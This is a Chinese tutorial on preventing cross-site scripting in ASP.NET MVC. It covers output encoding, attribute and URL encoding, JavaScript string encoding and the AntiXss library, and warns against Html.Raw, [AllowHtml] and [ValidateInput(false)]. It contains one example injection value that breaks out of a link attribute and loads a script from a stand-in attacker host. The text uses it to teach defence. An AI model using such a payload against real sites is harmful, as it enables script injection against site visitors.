XSS(跨站脚本攻击)

描述:

原理:攻击者往Web页面里插入恶意代码,当用户浏览该页之时,嵌入其中Web里面的代码会被执行,从而达到攻击用户的特殊目的。

类别

1)被动注入(Passive Injection)。用户将恶意代码输入到表单中,保存到数据库,然后再显示在网站上;

2)主动注入(Active Injection)。用户将恶意代码输入到文本框中并将输入的内容立刻在屏幕上显示出来。

XSS攻击在Web上排名第一,遗憾的是,导致XSS猖獗的原因是Web开发人员不熟悉这种攻击(好遗憾哦。。。)。

避免:

1)对所有内容都进行HTML编码;

Razor引擎默认对输出内容进行HTML编码。如:@Model.FirstName。

如果非Razor引擎,则如:

<% Html.Encode(Model.FirstName) %>

2)使用Html.AttributeEncode和Url.Encode;

<a href=”<%= Url.Action(“Index”,"home”,new { name = ViewData[“name”]})%>">点击我</a>

将name改为:

"></a><script src = “http://abcd.evil.com”></script><a href= "

,则攻击成功。

编码1:

<a href=”<%= Url.Action(“Index”,”home”,new { name = Html.AttributeEncode(ViewData[“name”])})%>”>点击我</a>

编码2:

<a href=”<%= Url.Encode(Url.Action(“Index”,”home”,new { name = ViewData[“name”] }))%>”>点击我</a>

3)对Ajax.JavaScriptStringEncode进行JavaScript编码。

var searchItem = “@Html.Raw(Ajax. JavaScriptStringEncode(Model))”;

4)将AntiXss库作为ASP.NET的默认编码器。

反模式:

1)使用

Html.Raw(Model.ReturnUrl)

绕过编码;

2)使用

[AllowHtml]

对模型的属性禁用请求验证;

3)使用

[ValidateInput(false)]

对Controller或者Action禁用请求验证。

MVC WEB安全——XSS攻击防御的更多相关文章

  1. XSS攻击防御篇

    前言   上篇文章中提到了 XSS 攻击,而且,也从几个方面介绍了 XSS 攻击带来的严重影响.那么,这篇文章中,主要是针对 XSS 攻击做一个基本的防御,看看可以通过几种方式来修复这个特别常见的安全 ...

  2. web安全-xss攻击

    web安全问题 xss攻击 1.html标签 html内容的转义 escapeHtml str = str.replace(/&/g,'&amp'); str = str.replac ...

  3. web安全-XSS攻击及防御

    XSS攻击的原理 xss表示Cross Site Scripting(跨站脚本攻击),它与SQL注入攻击类似,SQL注入攻击中以SQL语句作为用户输入,从而达到查询/修改/删除数据的目的,而在xss攻 ...

  4. web渗透—xss攻击如何防御

    1.基于特征的防御 XSS漏洞和著名的SQL注入漏洞一样,都是利用了Web页面的编写不完善,所以每一个漏洞所利用和针对的弱点都不尽相同.这就给XSS漏洞防御带来了困难:不可能以单一特征来概括所有XSS ...

  5. .Net Core 项目中添加统一的XSS攻击防御过滤器

    一.前言 最近公司内部在对系统的安全进行培训,刚好目前手里的一个.net core 项目中需要增加预防xss的攻击,本文将大概介绍下何为XSS攻击以及在项目中如何统一的预防XSS攻击. 二.XSS简介 ...

  6. .net core xss攻击防御

    XSS攻击全称跨站脚本攻击,是为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS,XSS是一种在web应用中的计算机安全漏洞,它允许恶意 ...

  7. web框架--XSS攻击和CSRF请求伪造

    XSS 跨站脚本攻击(Cross Site Scripting),为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS.恶意攻击者往Web ...

  8. 关于Web安全的那些事(XSS攻击)

    概述 XSS攻击是Web攻击中最常见的攻击方法之一,它是通过对网页注入可执行代码且成功地被浏览器执行,达到攻击的目的,形成了一次有效XSS攻击,一旦攻击成功,它可以获取用户的联系人列表,然后向联系人发 ...

  9. 前端XSS攻击和防御

    xss跨站脚本攻击(Cross Site Scripting),是一种经常出现在web应用中的计算机安全漏洞,指攻击者在网页中嵌入客户端脚本(例如JavaScript), 当用户浏览此网页时,脚本就会 ...

随机推荐

  1. quick-cocos2d-x学习笔记—定时器

    定时器用的地方还是比较多的,游戏中的逻辑判断很多都是采用每帧执行.quick对于schedule的封装在scheduler这个lua文件中.如果是第一次接触quick的话,可能按照官方的api来写一个 ...

  2. LUA之string的使用

    --string.len(s)          --返回字符串s的长度 --string.rep(s, n)--返回重复n次字符串s的串,你使用string.rep("a", 2 ...

  3. 文字编辑器kindeditor-min.js的使用

    例子: <link rel="stylesheet" type="text/css" href="<?=$WebSiteRootDir?& ...

  4. 搭个 Web 服务器(一)

    导读 我相信,如果你想成为一个更好的开发者,你必须对日常使用的软件系统的内部结构有更深的理解,包括编程语言.编译器与解释器.数据库及操作系统.Web 服务器及 Web 框架.而且,为了更好更深入地理解 ...

  5. QEMU-KVM中的多线程压缩迁移技术

    导读 目前的迁移技术,都是通过向QEMUFILE中直接写入裸内存数据来达到传送虚拟机的目的端,这种情况下,发送的数据量大,从而会导致更高的迁移时间(total time)和黑宕时间(downtime) ...

  6. 将linux用在开发环境中

    我是如何将linux用在开发环境中的 1.为什么不直接安装Linux在主机 一直想深入学习一下linux的使用,于是将家里的笔记本装了linux系统,但是要将自己的系统打造一个适合开发的环境确实是一件 ...

  7. 对比WDCP面板与AMH面板的区别与选择

    转载: http://www.laozuo.org/2760.html | 老左博客 随着VPS主机的性价比提高(其实就是降价)我们很多站长会越来越多的选择使用VPS搭建网站或者运营一些项目,相比较而 ...

  8. 把sql server 2000的用户表的所有者改成dbo

    怎么样把sql server 2000的用户表的所有者,改成dbo,而不是用户名. 推荐使用下面介绍的第二种方法,执行以下查询便可以了.sp_configure 'allow updates','1' ...

  9. Linux下crontab命令的用法

    cron来源于希腊单词chronos(意为“时间”),是linux系统下一个自动执行指定任务的程序.例如,你想在每晚睡觉期间创建某些文件或文件夹的备份,就可以用cron来自动执行. 服务的启动和停止 ...

  10. 【OpenStack】OpenStack系列14之Dashboard定制开发

    django概述 参考资料:http://blog.javachen.com/2014/01/11/how-to-create-a-django-site.html http://djangobook ...